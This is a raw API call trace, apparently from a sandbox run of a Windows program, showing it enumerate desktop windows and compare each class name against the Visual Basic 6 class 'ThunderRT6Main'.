	[0068.374] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0068.374] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0068.374] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0068.374] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0068.374] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0068.374] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0068.374] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0068.374] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0068.374] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0068.374] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0068.374] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0068.374] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0068.375] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0068.375] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0068.375] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0068.375] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0068.375] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0068.375] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0068.375] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0068.375] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0068.375] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0068.375] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0068.375] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0068.375] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0068.375] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0068.375] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0068.375] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0068.375] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0068.375] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0068.375] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0068.375] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0068.375] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0068.375] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0068.375] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.375] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0068.376] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0068.376] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0068.376] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.376] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0068.376] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0068.376] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.376] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0068.376] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0068.376] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0068.376] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0068.376] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0068.376] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.376] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0068.376] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0068.376] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0068.376] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0068.376] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0068.376] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0068.376] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0068.376] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.376] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0068.376] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.376] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0068.376] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0068.376] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.376] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0068.376] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.376] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.377] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0068.377] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.377] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.377] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0068.377] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.377] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.377] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0068.377] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0068.377] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.377] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0068.377] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0068.377] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.377] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0068.377] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.377] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.377] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0068.377] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.377] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.377] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0068.377] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.377] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.377] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0068.377] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0068.377] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.377] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0068.377] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0068.377] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0068.377] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0068.377] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.377] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.377] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0068.377] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0068.377] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0068.378] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0068.378] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0068.378] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.378] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0068.378] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0068.378] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0068.378] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0068.378] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0068.378] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.378] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0068.378] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0068.378] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.378] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0068.378] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0068.378] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.378] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.378] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0068.378] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.378] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0068.378] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0068.378] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0068.378] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.378] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0068.378] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.378] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0068.378] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082
	[0068.378] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.378] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.378] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.378] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e
	[0068.378] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
	[0068.378] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0068.379] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080
	[0068.379] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.379] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0068.379] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076
	[0068.379] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.379] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.379] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064
	[0068.379] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.379] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.379] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110
	[0068.379] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="#43") returned 3
	[0068.379] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0068.379] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112
	[0068.379] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.379] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0068.379] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060
	[0068.379] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
	[0068.379] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.379] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c
	[0068.379] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0068.379] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.379] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042
	[0068.379] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
	[0068.379] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.379] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e
	[0068.379] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
	[0068.379] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
	[0068.379] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.379] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048
	[0068.379] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3
	[0068.380] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
	[0068.380] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124
	[0068.380] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040
	[0068.380] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.380] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.380] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.380] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe
	[0068.380] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0068.380] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0068.380] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.380] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c
	[0068.380] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.380] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.380] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0068.380] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a
	[0068.380] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
	[0068.380] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
	[0068.380] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0068.380] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec
	[0068.380] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7
	[0068.380] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
	[0068.380] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0068.380] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0
	[0068.380] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d48df0
	[0068.380] IMalloc:Free (This=0x7feffc15380, pv=0x4d48df0) 
	[0068.722] GetAsyncKeyState (vKey=27) returned 0
	[0068.722] GetCurrentThreadId () returned 0x8e8
	[0068.722] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0068.722] GetDesktopWindow () returned 0x10010
	[0068.722] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0068.722] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0068.722] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0068.722] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.722] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0068.722] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.722] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.722] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0068.722] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0068.722] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0068.722] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0068.722] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0068.722] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0068.722] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.722] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
